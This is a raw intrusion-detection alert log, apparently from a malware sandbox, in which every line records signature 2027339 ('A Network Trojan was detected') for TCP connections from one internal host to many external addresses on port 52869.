2024-10-06T20:01:06.968800+0200	2027339	1	A Network Trojan was detected	192.168.2.15	54270	197.104.236.18	52869	TCP
2024-10-06T20:01:06.969284+0200	2027339	1	A Network Trojan was detected	192.168.2.15	53276	41.145.82.194	52869	TCP
2024-10-06T20:01:06.969284+0200	2027339	1	A Network Trojan was detected	192.168.2.15	51928	156.203.57.172	52869	TCP
2024-10-06T20:01:06.969372+0200	2027339	1	A Network Trojan was detected	192.168.2.15	40318	41.126.219.241	52869	TCP
2024-10-06T20:01:06.970635+0200	2027339	1	A Network Trojan was detected	192.168.2.15	37456	197.229.67.248	52869	TCP
2024-10-06T20:01:06.972742+0200	2027339	1	A Network Trojan was detected	192.168.2.15	33578	197.29.5.14	52869	TCP
2024-10-06T20:01:06.983069+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58908	156.79.32.11	52869	TCP
2024-10-06T20:01:06.983212+0200	2027339	1	A Network Trojan was detected	192.168.2.15	35140	197.196.108.9	52869	TCP
2024-10-06T20:01:06.983382+0200	2027339	1	A Network Trojan was detected	192.168.2.15	59994	197.218.118.61	52869	TCP
2024-10-06T20:01:06.983800+0200	2027339	1	A Network Trojan was detected	192.168.2.15	49688	41.29.252.39	52869	TCP
2024-10-06T20:01:06.984285+0200	2027339	1	A Network Trojan was detected	192.168.2.15	37938	156.10.0.100	52869	TCP
2024-10-06T20:01:06.984606+0200	2027339	1	A Network Trojan was detected	192.168.2.15	50744	156.135.133.206	52869	TCP
2024-10-06T20:01:06.986374+0200	2027339	1	A Network Trojan was detected	192.168.2.15	55826	41.219.49.191	52869	TCP
2024-10-06T20:01:06.987012+0200	2027339	1	A Network Trojan was detected	192.168.2.15	35622	197.59.148.206	52869	TCP
2024-10-06T20:01:06.987092+0200	2027339	1	A Network Trojan was detected	192.168.2.15	35234	41.8.233.71	52869	TCP
2024-10-06T20:01:06.998275+0200	2027339	1	A Network Trojan was detected	192.168.2.15	50658	197.85.205.5	52869	TCP
2024-10-06T20:01:06.998543+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34816	156.159.83.36	52869	TCP
2024-10-06T20:01:06.998971+0200	2027339	1	A Network Trojan was detected	192.168.2.15	55112	197.253.224.211	52869	TCP
2024-10-06T20:01:06.999340+0200	2027339	1	A Network Trojan was detected	192.168.2.15	46104	156.168.114.112	52869	TCP
2024-10-06T20:01:06.999949+0200	2027339	1	A Network Trojan was detected	192.168.2.15	55924	197.77.127.101	52869	TCP
2024-10-06T20:01:07.000102+0200	2027339	1	A Network Trojan was detected	192.168.2.15	53964	41.228.55.251	52869	TCP
2024-10-06T20:01:07.002610+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52888	197.126.27.231	52869	TCP
2024-10-06T20:01:07.003414+0200	2027339	1	A Network Trojan was detected	192.168.2.15	47240	197.109.187.45	52869	TCP
2024-10-06T20:01:07.003869+0200	2027339	1	A Network Trojan was detected	192.168.2.15	47952	197.155.113.135	52869	TCP
2024-10-06T20:01:07.004038+0200	2027339	1	A Network Trojan was detected	192.168.2.15	37054	197.177.84.199	52869	TCP
2024-10-06T20:01:07.014091+0200	2027339	1	A Network Trojan was detected	192.168.2.15	38818	41.90.125.11	52869	TCP
2024-10-06T20:01:07.015302+0200	2027339	1	A Network Trojan was detected	192.168.2.15	48842	197.63.54.18	52869	TCP
2024-10-06T20:01:07.029812+0200	2027339	1	A Network Trojan was detected	192.168.2.15	42984	41.14.170.201	52869	TCP
2024-10-06T20:01:07.029925+0200	2027339	1	A Network Trojan was detected	192.168.2.15	41954	197.239.132.38	52869	TCP
2024-10-06T20:01:07.031231+0200	2027339	1	A Network Trojan was detected	192.168.2.15	53640	41.107.203.68	52869	TCP
2024-10-06T20:01:07.031265+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58010	41.67.114.133	52869	TCP
2024-10-06T20:01:07.034990+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39718	41.32.233.53	52869	TCP
2024-10-06T20:01:07.045044+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60272	41.186.47.165	52869	TCP
2024-10-06T20:01:09.224589+0200	2027339	1	A Network Trojan was detected	192.168.2.15	43446	156.113.192.250	52869	TCP
2024-10-06T20:01:09.816995+0200	2027339	1	A Network Trojan was detected	192.168.2.15	37042	156.200.116.254	52869	TCP
2024-10-06T20:01:10.387455+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44216	41.174.64.231	52869	TCP
2024-10-06T20:01:11.125179+0200	2027339	1	A Network Trojan was detected	192.168.2.15	50716	156.68.33.3	52869	TCP
2024-10-06T20:01:12.140871+0200	2027339	1	A Network Trojan was detected	192.168.2.15	38260	197.133.177.133	52869	TCP
2024-10-06T20:01:12.191708+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60452	41.199.101.129	52869	TCP
2024-10-06T20:01:13.125060+0200	2027339	1	A Network Trojan was detected	192.168.2.15	36280	197.141.198.16	52869	TCP
2024-10-06T20:01:14.951140+0200	2027339	1	A Network Trojan was detected	192.168.2.15	56212	197.234.121.125	52869	TCP
2024-10-06T20:01:15.157087+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39612	156.250.233.49	52869	TCP
2024-10-06T20:01:15.190052+0200	2027339	1	A Network Trojan was detected	192.168.2.15	59826	156.211.66.166	52869	TCP
2024-10-06T20:01:16.218229+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58672	41.140.96.23	52869	TCP
2024-10-06T20:01:18.155224+0200	2027339	1	A Network Trojan was detected	192.168.2.15	54934	156.208.214.217	52869	TCP
2024-10-06T20:01:18.170401+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39910	156.216.210.16	52869	TCP
2024-10-06T20:01:18.170449+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44190	156.12.57.73	52869	TCP
2024-10-06T20:01:18.187639+0200	2027339	1	A Network Trojan was detected	192.168.2.15	42354	156.168.174.48	52869	TCP
2024-10-06T20:01:18.191413+0200	2027339	1	A Network Trojan was detected	192.168.2.15	49848	41.69.129.211	52869	TCP
2024-10-06T20:01:18.201486+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44970	197.197.148.157	52869	TCP
2024-10-06T20:01:18.201807+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44552	41.10.72.48	52869	TCP
2024-10-06T20:01:18.203271+0200	2027339	1	A Network Trojan was detected	192.168.2.15	36032	156.45.129.102	52869	TCP
2024-10-06T20:01:18.205383+0200	2027339	1	A Network Trojan was detected	192.168.2.15	43694	41.237.170.187	52869	TCP
2024-10-06T20:01:18.207374+0200	2027339	1	A Network Trojan was detected	192.168.2.15	41312	197.141.143.40	52869	TCP
2024-10-06T20:01:18.219978+0200	2027339	1	A Network Trojan was detected	192.168.2.15	50372	156.4.46.255	52869	TCP
2024-10-06T20:01:18.219979+0200	2027339	1	A Network Trojan was detected	192.168.2.15	59452	197.70.254.127	52869	TCP
2024-10-06T20:01:18.222132+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52764	41.134.7.100	52869	TCP
2024-10-06T20:01:18.237196+0200	2027339	1	A Network Trojan was detected	192.168.2.15	46866	156.132.56.248	52869	TCP
2024-10-06T20:01:19.187855+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52456	197.206.146.113	52869	TCP
2024-10-06T20:01:19.201150+0200	2027339	1	A Network Trojan was detected	192.168.2.15	47556	197.35.159.214	52869	TCP
2024-10-06T20:01:19.201247+0200	2027339	1	A Network Trojan was detected	192.168.2.15	46964	197.228.99.236	52869	TCP
2024-10-06T20:01:19.201411+0200	2027339	1	A Network Trojan was detected	192.168.2.15	57472	41.115.243.27	52869	TCP
2024-10-06T20:01:19.205429+0200	2027339	1	A Network Trojan was detected	192.168.2.15	42706	41.222.155.250	52869	TCP
2024-10-06T20:01:19.207197+0200	2027339	1	A Network Trojan was detected	192.168.2.15	48706	197.110.102.39	52869	TCP
2024-10-06T20:01:19.217347+0200	2027339	1	A Network Trojan was detected	192.168.2.15	46724	41.33.52.111	52869	TCP
2024-10-06T20:01:19.217479+0200	2027339	1	A Network Trojan was detected	192.168.2.15	37102	197.207.207.46	52869	TCP
2024-10-06T20:01:19.217499+0200	2027339	1	A Network Trojan was detected	192.168.2.15	36918	41.215.56.243	52869	TCP
2024-10-06T20:01:19.217979+0200	2027339	1	A Network Trojan was detected	192.168.2.15	43114	197.133.55.5	52869	TCP
2024-10-06T20:01:19.218105+0200	2027339	1	A Network Trojan was detected	192.168.2.15	43020	197.59.135.168	52869	TCP
2024-10-06T20:01:19.219057+0200	2027339	1	A Network Trojan was detected	192.168.2.15	49716	156.11.141.227	52869	TCP
2024-10-06T20:01:19.219761+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34206	197.198.147.91	52869	TCP
2024-10-06T20:01:19.221209+0200	2027339	1	A Network Trojan was detected	192.168.2.15	57988	41.150.106.41	52869	TCP
2024-10-06T20:01:19.233611+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44962	156.5.108.172	52869	TCP
2024-10-06T20:01:19.240706+0200	2027339	1	A Network Trojan was detected	192.168.2.15	43884	156.235.12.74	52869	TCP
2024-10-06T20:01:19.250303+0200	2027339	1	A Network Trojan was detected	192.168.2.15	48214	197.11.166.154	52869	TCP
2024-10-06T20:01:19.254164+0200	2027339	1	A Network Trojan was detected	192.168.2.15	46324	41.74.146.126	52869	TCP
2024-10-06T20:01:19.281497+0200	2027339	1	A Network Trojan was detected	192.168.2.15	51842	197.26.208.5	52869	TCP
2024-10-06T20:01:20.232933+0200	2027339	1	A Network Trojan was detected	192.168.2.15	48472	197.201.179.78	52869	TCP
2024-10-06T20:01:20.236726+0200	2027339	1	A Network Trojan was detected	192.168.2.15	51330	41.74.144.63	52869	TCP
2024-10-06T20:01:20.249401+0200	2027339	1	A Network Trojan was detected	192.168.2.15	59132	156.16.19.212	52869	TCP
2024-10-06T20:01:20.250215+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60366	41.148.83.169	52869	TCP
2024-10-06T20:01:20.264257+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44650	156.154.64.164	52869	TCP
2024-10-06T20:01:20.266048+0200	2027339	1	A Network Trojan was detected	192.168.2.15	48650	41.107.220.242	52869	TCP
2024-10-06T20:01:20.313946+0200	2027339	1	A Network Trojan was detected	192.168.2.15	41000	156.87.35.96	52869	TCP
2024-10-06T20:01:21.232787+0200	2027339	1	A Network Trojan was detected	192.168.2.15	40336	156.136.102.137	52869	TCP
2024-10-06T20:01:21.247824+0200	2027339	1	A Network Trojan was detected	192.168.2.15	40798	197.199.206.127	52869	TCP
2024-10-06T20:01:21.247983+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34754	41.75.91.211	52869	TCP
2024-10-06T20:01:21.248062+0200	2027339	1	A Network Trojan was detected	192.168.2.15	53996	197.36.159.14	52869	TCP
2024-10-06T20:01:21.248726+0200	2027339	1	A Network Trojan was detected	192.168.2.15	49492	41.63.150.165	52869	TCP
2024-10-06T20:01:21.248730+0200	2027339	1	A Network Trojan was detected	192.168.2.15	46140	41.85.186.236	52869	TCP
2024-10-06T20:01:21.248748+0200	2027339	1	A Network Trojan was detected	192.168.2.15	45090	41.238.47.83	52869	TCP
2024-10-06T20:01:21.248870+0200	2027339	1	A Network Trojan was detected	192.168.2.15	59890	41.226.253.41	52869	TCP
2024-10-06T20:01:21.248873+0200	2027339	1	A Network Trojan was detected	192.168.2.15	41094	197.38.236.197	52869	TCP
2024-10-06T20:01:21.248874+0200	2027339	1	A Network Trojan was detected	192.168.2.15	38684	197.116.81.60	52869	TCP
2024-10-06T20:01:21.249162+0200	2027339	1	A Network Trojan was detected	192.168.2.15	56402	197.6.109.116	52869	TCP
2024-10-06T20:01:21.249173+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52234	197.175.228.175	52869	TCP
2024-10-06T20:01:21.249320+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34198	41.123.115.75	52869	TCP
2024-10-06T20:01:21.249338+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58836	156.200.168.64	52869	TCP
2024-10-06T20:01:21.249607+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34024	156.171.211.6	52869	TCP
2024-10-06T20:01:21.251370+0200	2027339	1	A Network Trojan was detected	192.168.2.15	55270	156.152.215.205	52869	TCP
2024-10-06T20:01:21.251536+0200	2027339	1	A Network Trojan was detected	192.168.2.15	42970	197.154.113.7	52869	TCP
2024-10-06T20:01:21.251612+0200	2027339	1	A Network Trojan was detected	192.168.2.15	43376	41.132.4.91	52869	TCP
2024-10-06T20:01:21.251704+0200	2027339	1	A Network Trojan was detected	192.168.2.15	49562	41.234.89.110	52869	TCP
2024-10-06T20:01:21.263545+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44076	41.27.240.251	52869	TCP
2024-10-06T20:01:21.264120+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52172	197.187.148.5	52869	TCP
2024-10-06T20:01:21.264287+0200	2027339	1	A Network Trojan was detected	192.168.2.15	46622	41.12.24.214	52869	TCP
2024-10-06T20:01:21.264357+0200	2027339	1	A Network Trojan was detected	192.168.2.15	53838	156.126.108.229	52869	TCP
2024-10-06T20:01:21.264513+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58224	41.112.88.62	52869	TCP
2024-10-06T20:01:21.264748+0200	2027339	1	A Network Trojan was detected	192.168.2.15	51298	197.236.73.81	52869	TCP
2024-10-06T20:01:21.264762+0200	2027339	1	A Network Trojan was detected	192.168.2.15	33454	156.53.86.123	52869	TCP
2024-10-06T20:01:21.264826+0200	2027339	1	A Network Trojan was detected	192.168.2.15	32926	197.165.80.36	52869	TCP
2024-10-06T20:01:21.264916+0200	2027339	1	A Network Trojan was detected	192.168.2.15	55008	41.103.171.158	52869	TCP
2024-10-06T20:01:21.265007+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34282	197.134.141.89	52869	TCP
2024-10-06T20:01:21.265051+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34384	197.166.133.40	52869	TCP
2024-10-06T20:01:21.265239+0200	2027339	1	A Network Trojan was detected	192.168.2.15	55604	156.3.59.57	52869	TCP
2024-10-06T20:01:21.265906+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52414	156.126.201.30	52869	TCP
2024-10-06T20:01:21.266099+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52934	41.237.140.232	52869	TCP
2024-10-06T20:01:21.266734+0200	2027339	1	A Network Trojan was detected	192.168.2.15	37622	156.250.138.210	52869	TCP
2024-10-06T20:01:21.266738+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58686	156.111.94.78	52869	TCP
2024-10-06T20:01:21.266821+0200	2027339	1	A Network Trojan was detected	192.168.2.15	36950	156.5.141.143	52869	TCP
2024-10-06T20:01:21.266895+0200	2027339	1	A Network Trojan was detected	192.168.2.15	38386	156.242.185.63	52869	TCP
2024-10-06T20:01:21.267057+0200	2027339	1	A Network Trojan was detected	192.168.2.15	38818	156.84.165.127	52869	TCP
2024-10-06T20:01:21.267068+0200	2027339	1	A Network Trojan was detected	192.168.2.15	40696	197.41.7.81	52869	TCP
2024-10-06T20:01:21.267134+0200	2027339	1	A Network Trojan was detected	192.168.2.15	56178	197.202.194.75	52869	TCP
2024-10-06T20:01:21.267973+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34130	41.68.59.102	52869	TCP
2024-10-06T20:01:21.268321+0200	2027339	1	A Network Trojan was detected	192.168.2.15	46940	41.173.239.3	52869	TCP
2024-10-06T20:01:21.268331+0200	2027339	1	A Network Trojan was detected	192.168.2.15	49736	197.124.253.46	52869	TCP
2024-10-06T20:01:21.268598+0200	2027339	1	A Network Trojan was detected	192.168.2.15	57202	41.58.98.139	52869	TCP
2024-10-06T20:01:21.268670+0200	2027339	1	A Network Trojan was detected	192.168.2.15	48988	156.200.50.134	52869	TCP
2024-10-06T20:01:21.268688+0200	2027339	1	A Network Trojan was detected	192.168.2.15	38544	41.143.131.148	52869	TCP
2024-10-06T20:01:21.268814+0200	2027339	1	A Network Trojan was detected	192.168.2.15	50830	41.118.143.123	52869	TCP
2024-10-06T20:01:21.269687+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58752	197.234.86.51	52869	TCP
2024-10-06T20:01:21.269898+0200	2027339	1	A Network Trojan was detected	192.168.2.15	53826	41.235.204.50	52869	TCP
2024-10-06T20:01:21.270409+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39008	156.216.194.74	52869	TCP
2024-10-06T20:01:21.270462+0200	2027339	1	A Network Trojan was detected	192.168.2.15	46090	41.157.188.154	52869	TCP
2024-10-06T20:01:21.279665+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39260	41.197.121.30	52869	TCP
2024-10-06T20:01:21.279840+0200	2027339	1	A Network Trojan was detected	192.168.2.15	55480	41.62.87.17	52869	TCP
2024-10-06T20:01:21.280027+0200	2027339	1	A Network Trojan was detected	192.168.2.15	56578	41.213.159.162	52869	TCP
2024-10-06T20:01:21.280548+0200	2027339	1	A Network Trojan was detected	192.168.2.15	37084	197.0.221.126	52869	TCP
2024-10-06T20:01:21.280564+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58632	156.116.38.126	52869	TCP
2024-10-06T20:01:21.280597+0200	2027339	1	A Network Trojan was detected	192.168.2.15	47592	197.44.42.57	52869	TCP
2024-10-06T20:01:21.281435+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44530	41.224.160.17	52869	TCP
2024-10-06T20:01:21.281558+0200	2027339	1	A Network Trojan was detected	192.168.2.15	56384	156.60.218.76	52869	TCP
2024-10-06T20:01:21.281591+0200	2027339	1	A Network Trojan was detected	192.168.2.15	33600	197.196.151.76	52869	TCP
2024-10-06T20:01:21.281959+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39360	41.189.107.111	52869	TCP
2024-10-06T20:01:21.282139+0200	2027339	1	A Network Trojan was detected	192.168.2.15	47580	197.27.45.137	52869	TCP
2024-10-06T20:01:21.282156+0200	2027339	1	A Network Trojan was detected	192.168.2.15	54052	156.111.149.43	52869	TCP
2024-10-06T20:01:21.283343+0200	2027339	1	A Network Trojan was detected	192.168.2.15	37304	156.7.32.243	52869	TCP
2024-10-06T20:01:21.283439+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34966	41.176.70.123	52869	TCP
2024-10-06T20:01:21.283680+0200	2027339	1	A Network Trojan was detected	192.168.2.15	49074	41.32.1.54	52869	TCP
2024-10-06T20:01:21.283763+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60116	156.60.77.201	52869	TCP
2024-10-06T20:01:21.285582+0200	2027339	1	A Network Trojan was detected	192.168.2.15	54752	197.235.72.82	52869	TCP
2024-10-06T20:01:21.285932+0200	2027339	1	A Network Trojan was detected	192.168.2.15	35924	197.85.183.101	52869	TCP
2024-10-06T20:01:21.392929+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44274	41.112.8.149	52869	TCP
2024-10-06T20:01:22.264745+0200	2027339	1	A Network Trojan was detected	192.168.2.15	33978	197.108.237.10	52869	TCP
2024-10-06T20:01:22.279520+0200	2027339	1	A Network Trojan was detected	192.168.2.15	35560	156.153.31.211	52869	TCP
2024-10-06T20:01:22.279791+0200	2027339	1	A Network Trojan was detected	192.168.2.15	43846	41.204.35.35	52869	TCP
2024-10-06T20:01:22.279994+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34974	41.3.67.111	52869	TCP
2024-10-06T20:01:22.280114+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60342	197.210.235.225	52869	TCP
2024-10-06T20:01:22.280364+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52972	41.114.132.173	52869	TCP
2024-10-06T20:01:22.280383+0200	2027339	1	A Network Trojan was detected	192.168.2.15	38612	156.68.10.31	52869	TCP
2024-10-06T20:01:22.280485+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39266	197.200.82.255	52869	TCP
2024-10-06T20:01:22.280566+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44342	197.204.210.92	52869	TCP
2024-10-06T20:01:22.280715+0200	2027339	1	A Network Trojan was detected	192.168.2.15	45688	41.20.5.32	52869	TCP
2024-10-06T20:01:22.281494+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44870	41.7.92.113	52869	TCP
2024-10-06T20:01:22.281528+0200	2027339	1	A Network Trojan was detected	192.168.2.15	48304	156.177.105.164	52869	TCP
2024-10-06T20:01:22.281606+0200	2027339	1	A Network Trojan was detected	192.168.2.15	38038	41.157.118.132	52869	TCP
2024-10-06T20:01:22.281870+0200	2027339	1	A Network Trojan was detected	192.168.2.15	49186	156.21.255.104	52869	TCP
2024-10-06T20:01:22.281916+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34280	156.221.88.95	52869	TCP
2024-10-06T20:01:22.282138+0200	2027339	1	A Network Trojan was detected	192.168.2.15	40590	197.122.89.72	52869	TCP
2024-10-06T20:01:22.282247+0200	2027339	1	A Network Trojan was detected	192.168.2.15	33164	156.176.109.241	52869	TCP
2024-10-06T20:01:22.283581+0200	2027339	1	A Network Trojan was detected	192.168.2.15	38914	41.226.108.98	52869	TCP
2024-10-06T20:01:22.283781+0200	2027339	1	A Network Trojan was detected	192.168.2.15	40958	156.24.232.63	52869	TCP
2024-10-06T20:01:22.283813+0200	2027339	1	A Network Trojan was detected	192.168.2.15	49708	41.113.209.149	52869	TCP
2024-10-06T20:01:22.284218+0200	2027339	1	A Network Trojan was detected	192.168.2.15	47710	156.185.197.139	52869	TCP
2024-10-06T20:01:22.284431+0200	2027339	1	A Network Trojan was detected	192.168.2.15	40782	156.26.183.171	52869	TCP
2024-10-06T20:01:22.284597+0200	2027339	1	A Network Trojan was detected	192.168.2.15	57888	156.153.187.128	52869	TCP
2024-10-06T20:01:22.284677+0200	2027339	1	A Network Trojan was detected	192.168.2.15	55760	156.216.73.85	52869	TCP
2024-10-06T20:01:22.285282+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60028	156.190.229.165	52869	TCP
2024-10-06T20:01:22.285684+0200	2027339	1	A Network Trojan was detected	192.168.2.15	59554	156.164.46.178	52869	TCP
2024-10-06T20:01:22.300973+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58600	156.193.228.206	52869	TCP
2024-10-06T20:01:22.301131+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34484	156.135.169.222	52869	TCP
2024-10-06T20:01:22.301225+0200	2027339	1	A Network Trojan was detected	192.168.2.15	59268	41.249.250.199	52869	TCP
2024-10-06T20:01:22.301229+0200	2027339	1	A Network Trojan was detected	192.168.2.15	40886	41.63.69.237	52869	TCP
2024-10-06T20:01:22.310856+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34074	41.158.164.235	52869	TCP
2024-10-06T20:01:22.315231+0200	2027339	1	A Network Trojan was detected	192.168.2.15	38080	156.247.8.164	52869	TCP
2024-10-06T20:01:22.326865+0200	2027339	1	A Network Trojan was detected	192.168.2.15	35688	41.59.9.50	52869	TCP
2024-10-06T20:01:22.375289+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52692	41.213.210.151	52869	TCP
2024-10-06T20:01:22.375634+0200	2027339	1	A Network Trojan was detected	192.168.2.15	54170	197.180.31.248	52869	TCP
2024-10-06T20:01:23.347829+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39742	41.178.234.148	52869	TCP
2024-10-06T20:01:23.357483+0200	2027339	1	A Network Trojan was detected	192.168.2.15	38236	197.91.36.209	52869	TCP
2024-10-06T20:01:23.357765+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52572	156.128.201.121	52869	TCP
2024-10-06T20:01:23.359444+0200	2027339	1	A Network Trojan was detected	192.168.2.15	54180	156.14.166.148	52869	TCP
2024-10-06T20:01:23.391158+0200	2027339	1	A Network Trojan was detected	192.168.2.15	42264	197.71.16.225	52869	TCP
2024-10-06T20:01:23.426108+0200	2027339	1	A Network Trojan was detected	192.168.2.15	33762	41.212.217.7	52869	TCP
2024-10-06T20:01:24.451291+0200	2027339	1	A Network Trojan was detected	192.168.2.15	32880	156.132.182.168	52869	TCP
2024-10-06T20:01:26.342464+0200	2027339	1	A Network Trojan was detected	192.168.2.15	59984	197.50.27.9	52869	TCP
2024-10-06T20:01:26.342804+0200	2027339	1	A Network Trojan was detected	192.168.2.15	37914	41.193.137.127	52869	TCP
2024-10-06T20:01:26.343174+0200	2027339	1	A Network Trojan was detected	192.168.2.15	45352	41.9.88.176	52869	TCP
2024-10-06T20:01:26.343331+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60016	156.35.83.107	52869	TCP
2024-10-06T20:01:26.343785+0200	2027339	1	A Network Trojan was detected	192.168.2.15	53994	41.84.110.186	52869	TCP
2024-10-06T20:01:26.343919+0200	2027339	1	A Network Trojan was detected	192.168.2.15	38320	41.195.190.217	52869	TCP
2024-10-06T20:01:26.344150+0200	2027339	1	A Network Trojan was detected	192.168.2.15	41944	197.26.248.151	52869	TCP
2024-10-06T20:01:26.344405+0200	2027339	1	A Network Trojan was detected	192.168.2.15	43838	41.138.117.0	52869	TCP
2024-10-06T20:01:26.345323+0200	2027339	1	A Network Trojan was detected	192.168.2.15	59224	156.164.243.201	52869	TCP
2024-10-06T20:01:26.346814+0200	2027339	1	A Network Trojan was detected	192.168.2.15	48780	156.68.255.15	52869	TCP
2024-10-06T20:01:26.358001+0200	2027339	1	A Network Trojan was detected	192.168.2.15	54864	41.216.72.26	52869	TCP
2024-10-06T20:01:26.359671+0200	2027339	1	A Network Trojan was detected	192.168.2.15	55950	197.14.235.192	52869	TCP
2024-10-06T20:01:26.362116+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52118	156.224.140.127	52869	TCP
2024-10-06T20:01:26.362131+0200	2027339	1	A Network Trojan was detected	192.168.2.15	40494	197.218.212.186	52869	TCP
2024-10-06T20:01:26.362134+0200	2027339	1	A Network Trojan was detected	192.168.2.15	47380	41.161.123.139	52869	TCP
2024-10-06T20:01:26.362147+0200	2027339	1	A Network Trojan was detected	192.168.2.15	33150	197.200.95.32	52869	TCP
2024-10-06T20:01:26.428441+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60116	156.201.174.201	52869	TCP
2024-10-06T20:01:27.359498+0200	2027339	1	A Network Trojan was detected	192.168.2.15	45410	197.73.140.11	52869	TCP
2024-10-06T20:01:27.361119+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58390	156.171.14.182	52869	TCP
2024-10-06T20:01:27.363095+0200	2027339	1	A Network Trojan was detected	192.168.2.15	51362	41.152.16.212	52869	TCP
2024-10-06T20:01:27.373663+0200	2027339	1	A Network Trojan was detected	192.168.2.15	41254	197.142.242.51	52869	TCP
2024-10-06T20:01:27.373690+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39630	41.212.69.174	52869	TCP
2024-10-06T20:01:27.377422+0200	2027339	1	A Network Trojan was detected	192.168.2.15	48508	197.135.22.7	52869	TCP
2024-10-06T20:01:27.377560+0200	2027339	1	A Network Trojan was detected	192.168.2.15	40970	197.186.199.150	52869	TCP
2024-10-06T20:01:27.379380+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58250	197.47.171.53	52869	TCP
2024-10-06T20:01:27.391131+0200	2027339	1	A Network Trojan was detected	192.168.2.15	50984	41.243.68.91	52869	TCP
2024-10-06T20:01:27.405147+0200	2027339	1	A Network Trojan was detected	192.168.2.15	48442	41.120.201.218	52869	TCP
2024-10-06T20:01:27.410471+0200	2027339	1	A Network Trojan was detected	192.168.2.15	57986	156.224.51.251	52869	TCP
2024-10-06T20:01:27.453690+0200	2027339	1	A Network Trojan was detected	192.168.2.15	57232	197.84.193.24	52869	TCP
2024-10-06T20:01:28.370017+0200	2027339	1	A Network Trojan was detected	192.168.2.15	45770	197.237.49.7	52869	TCP
2024-10-06T20:01:29.405008+0200	2027339	1	A Network Trojan was detected	192.168.2.15	51422	197.14.142.122	52869	TCP
2024-10-06T20:01:29.405295+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44148	156.104.77.191	52869	TCP
2024-10-06T20:01:29.405400+0200	2027339	1	A Network Trojan was detected	192.168.2.15	40046	41.223.32.33	52869	TCP
2024-10-06T20:01:29.405437+0200	2027339	1	A Network Trojan was detected	192.168.2.15	47060	156.166.58.209	52869	TCP
2024-10-06T20:01:29.405528+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52046	156.139.93.141	52869	TCP
2024-10-06T20:01:29.406541+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52878	156.148.168.62	52869	TCP
2024-10-06T20:01:29.406613+0200	2027339	1	A Network Trojan was detected	192.168.2.15	57736	41.247.220.209	52869	TCP
2024-10-06T20:01:29.420519+0200	2027339	1	A Network Trojan was detected	192.168.2.15	41986	197.185.81.12	52869	TCP
2024-10-06T20:01:29.426092+0200	2027339	1	A Network Trojan was detected	192.168.2.15	47232	41.81.247.199	52869	TCP
2024-10-06T20:01:29.437966+0200	2027339	1	A Network Trojan was detected	192.168.2.15	45638	156.80.178.162	52869	TCP
2024-10-06T20:01:29.439978+0200	2027339	1	A Network Trojan was detected	192.168.2.15	35982	197.253.153.218	52869	TCP
2024-10-06T20:01:29.453532+0200	2027339	1	A Network Trojan was detected	192.168.2.15	47038	197.196.167.169	52869	TCP
2024-10-06T20:01:29.457429+0200	2027339	1	A Network Trojan was detected	192.168.2.15	48388	197.206.5.228	52869	TCP
2024-10-06T20:01:30.594641+0200	2027339	1	A Network Trojan was detected	192.168.2.15	42344	41.217.45.131	52869	TCP
2024-10-06T20:01:30.594660+0200	2027339	1	A Network Trojan was detected	192.168.2.15	33992	197.254.64.164	52869	TCP
